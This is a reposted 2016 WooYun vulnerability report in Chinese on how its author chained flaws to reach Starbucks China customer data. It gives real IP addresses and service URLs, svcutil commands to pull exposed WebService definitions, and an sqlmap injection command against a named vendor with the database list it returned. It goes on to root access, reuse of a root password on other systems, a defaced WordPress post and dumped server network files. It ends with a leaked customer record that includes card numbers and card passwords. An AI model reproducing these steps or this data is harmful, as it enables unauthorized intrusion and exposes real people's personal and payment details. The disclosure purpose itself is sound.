来源:http://wooyun.2xss.cc/bug_detail.php?wybug_id=wooyun-2016-0208769
这是一篇2016年的乌云漏洞报告,带大家感受一下2016年的猪哥就这么强了
现在回看这篇文章,依旧能感受到猪哥的力量!
如有侵权,请私信删除
简要描述:
星巴克中国用户敏感信息遍历漏洞 (从不可能利用到可能)
本报告通过多个漏洞的组合,进而突破限制,遍历任意用户信息。
信息包含用户的:用户名、邮箱、密码、家庭地址、手机号等等(PS:密码是明文的)
太标准的东西,墨守成规的东西,往往都容易被预测
详细说明:
#1 漏洞的起因
2014年报告了一个星巴克备份文件下载的漏洞,其中包含几项重要的信息
WooYun: 星巴克官网备份可下载导致敏感信息泄露(含操作系统Administrator密码)
两个部署在内网的WebService:
#2 漏洞发现
一直没空关注星巴克的系统,前天去买星冰粽,服务员叫我扫会员卡,手机APP提示我的二维码过期,也就是星巴克的系统进行了一次重大更新,就顺便看了一下;
新的服务器架构从 .NET 切换至 PHP,但是服务器却增多了
通过扫描 www.starbucks.com.cn 180.153.48.188 网段开放的WEB服务,一个默认页面的信息引起了我的注意。
http://180.153.48.178:803/这不就是上面提到的Service1.svc么?深入研究分析,得知这是一个.NET的WebService,里面存在几个关键方法
public string GetCustomer(long CustomerId, out MSR.Model.MSR_Customer oCustomer){GetCustomerRequest inValue = new GetCustomerRequest();inValue.CustomerId = CustomerId;GetCustomerResponse retVal = ((IService1)(this)).GetCustomer(inValue);oCustomer = retVal.oCustomer;return retVal.GetCustomerResult;}
根据客户的ID,获取完整的客户信息,返回的用户信息如下
#3 WebService利用
可以直接用Visual Studio生成对应的 .NET cs 文件
svcutil.exe http://180.153.48.178:803/Service1.svc?wsdl#4 利用,直接获取customerID 为 2 的用户信息(这里只是测试环境的数据,后面会介绍如何找到真实环境)
#5 进一步挖掘
通过访问https://180.153.48.178的页面内容,发现这是今年3月份之前的网站版本
其中有两处地方泄露了另外的WebService
https://180.153.48.178/js/hasjs.js
var domainMSRURL = \'https://staging.rewards.flipscript.com.cn/\';var domainSVCURL = \"http://218.80.216.34:8010/\";var domianWebURL = \"http://218.80.216.34:8012/\";//domainMSRURL = \"http://localhost:49960/MSR/\";
https://180.153.48.178/interface/MSR.ashx
// JavaScript Documentvar domainMSRURL = \'http://218.80.216.34:805/\';var domainSVCURL = \"http://218.80.216.34:8010/\";var domianWebURL = \"http://218.80.216.34:8012/\";//domainMSRURL = \"http://localhost:49960/MSR/\"; document.write(\'
#6 这个服务器上的某个.svc怎么那么眼熟呢?不就是开始提到的StarbucksGCService.svc吗?
至此,两个关键的WebService都找到了,还有星巴克的后台
Service1.svc 有个 GetAdminList的方法,你懂的,查询出所有后台管理员的信息
public string GetAdminList(int nPageSize, int nPageIndex, out MSR.Model.MSR_Admin[] oAdminList, out int nCount){GetAdminListRequest inValue = new GetAdminListRequest();inValue.nPageSize = nPageSize;inValue.nPageIndex = nPageIndex;GetAdminListResponse retVal = ((IService1)(this)).GetAdminList(inValue);oAdminList = retVal.oAdminList;nCount = retVal.nCount;return retVal.GetAdminListResult;}
漏洞证明:
#7 以战养战,信息组合
整理一下发型,梳理一下所有信息,得到关键的因素
上面所有的信息, 都属于测试环境的,那么接下来就需要突破到真实环境了;
关键信息点:
从https://180.153.48.178的SSL证书,得知星巴克的系统是外包给flipscript公司开发的,
flipscript公司被DeepFocus公司收购了;
#8 从flipscript & DeepFocus下手
开启神器,发现http://cn.deepfocus.net一枚注入漏洞
python sqlmap.py -u \"https://cn.deepfocus.net/tasoap/tasoap.php?key=Fly&id=1\" -p key --dbsavailable databases [20]:[*] bugtracker[*] channelx[*] deepfocus[*] dftest[*] dnsw[*] fair[*] ftpusers[*] information_schema[*] mac[*] mmj[*] mysql[*] ra[*] TADB[*] test[*] torres[*] wordpress[*] wx[*] yioulai[*] yioulaisz[*] YOLDB
mysql是root权限,那就直接root服务器吧, ssh 登录
这台服务器里面有个bug.flipscript.net的Mantis管理工具,刚好证明了和星巴克有关联
发现了一处关键信息
/** WordPress数据库的名称 */define(\'DB_NAME\', \'wordpress\');/** MySQL数据库用户名 */define(\'DB_USER\', \'root\');/** MySQL数据库密码 */define(\'DB_PASSWORD\', \'*****@05****\');/** MySQL主机 */define(\'DB_HOST\', \'localhost\');
#9 峰回路转
整理好这些东西,咱们来到www.flipscript.com.cn,配置好神器,字典一挂,扫除了mssql对外开放,SA密码为:MYSQL数据库一样的密码;
#10 有了这些信息之后,就能重新以新的角度来审视星巴克中国了
开启神器,发现一个phpmyadmin,用那个从DeepFocus得到的ROOT密码,直接root权限进入
http://cn.chinatimeline.starbucks.com.cn/phpmyadmin/
这里又刚好还有一个WordPress: http://chinatimeline.starbucks.com.cn/ ,整点东西证明我来过。
http://chinatimeline.starbucks.com.cn/?p=1
#11 通向内网的通行证
/etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4::1 localhost localhost.localdomain localhost6 localhost6.localdomain6172.18.0.187 ntp02.sbuxcf.com ntp02
/etc/rc.local
#!/bin/sh## This script will be executed *after* all the other init scripts.# You can put your own initialization stuff in here if you don\'t# want to do the full Sys V style init stuff.touch /var/lock/subsys/localsh /home/stadmin/ddnsupdate.sh
/etc/sysconfig/network-scripts/ifcfg-eth0
HWADDR=00:50:56:88:33:23NAME=eth0GATEWAY=172.16.1.1DNS1=172.18.0.180DOMAIN=172.18.0.180DEVICE=eth0ONBOOT=yesUSERCTL=noBOOTPROTO=staticNETMASK=255.255.254.0IPADDR=172.16.1.43PEERDNS=nocheck_link_down() {return 1;}
两个部署在内网的WebService,就在这个内网里面,不可能成为了可能
http://172.16.1.32:8002/StarbucksGCService.svc // 星巴克官网后台http://172.16.1.32:8888/Service1.svc // 星巴克处理用户信息的接口svcutil.exe http://172.16.1.32:8888/Service1.svc?wsdl
{u\'Accept\': 1,u\'Active\': 1,u\'Address\': u\'ss,ssss\',u\'AddressList\': [],u\'Answer\': u\'\',u\'AreaId\': 6,u\'AreaName\': u\'\\u897f\\u5317\',u\'Birthday\': u\'1989-02-26T00:00:00\',u\'CityId\': -1,u\'CityName\': None,u\'CountryId\': 1,u\'CountryName\': u\'\\u4e2d\\u56fd\',u\'CreateTime\': u\'2014-05-27T11:06:00.183\',u\'CustomerCardList\': [{u\'CardNo\': u\'6010581801781836\',u\'CardPassword\': u\'15840030\',u\'CreateTime\': u\'2014-05-23T15:07:55.707\',u\'CustomerId\': 148,u\'Defalut\': 0,u\'Id\': 148},{u\'CardNo\': u\'6010582556865337\',u\'CardPassword\': u\'25535122\',u\'CreateTime\': u\'2014-05-27T11:06:00.197\',u\'CustomerId\': 148,u\'Defalut\': 0,u\'Id\': 169}],u\'CustomerId\': 148,u\'CustomerName\': u\'t2556865337\',u\'CustomerPassword\': u\'123456\',u\'Email\': u\'t2556865337@126.com\',u\'FirstName\': u\'Ws\',u\'HomeTel\': u\'\',u\'LastName\': u\'Ws\',u\'LastUpTime\': u\'2014-05-30T16:27:03.417\',u\'Level\': 2,u\'LoveDrink\': u\'\',u\'LoveItem\': u\' \',u\'MMX_CustomerId\': 3237670,u\'Mobile\': u\'11111111111\',u\'MobileAcceptType\': 0,u\'NewsCustomerName\': None,u\'News_CustomerPassword\': None,u\'OtherAcceptType\': 0,u\'Points\': 39,u\'PostCode\': u\'222222\',u\'ProvinceId\': 31,u\'ProvinceName\': u\'\\u65b0\\u7586\\u7ef4\\u543e\\u5c14\\u81ea\\u6cbb\\u533a\',u\'Question\': 0,u\'Registered\': False,u\'Sex\': 0,u\'Type\': 0,u\'Version\': 0,u\'WhyLove\': None}
修复方案:
#1 安全是一个整体,保证安全不在于强大的地方有多强大,而在于真正薄弱的地方在哪里
#2 一个一个的漏洞来补丁
#3 太标准的东西,都容易被预测
推荐阅读:
记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)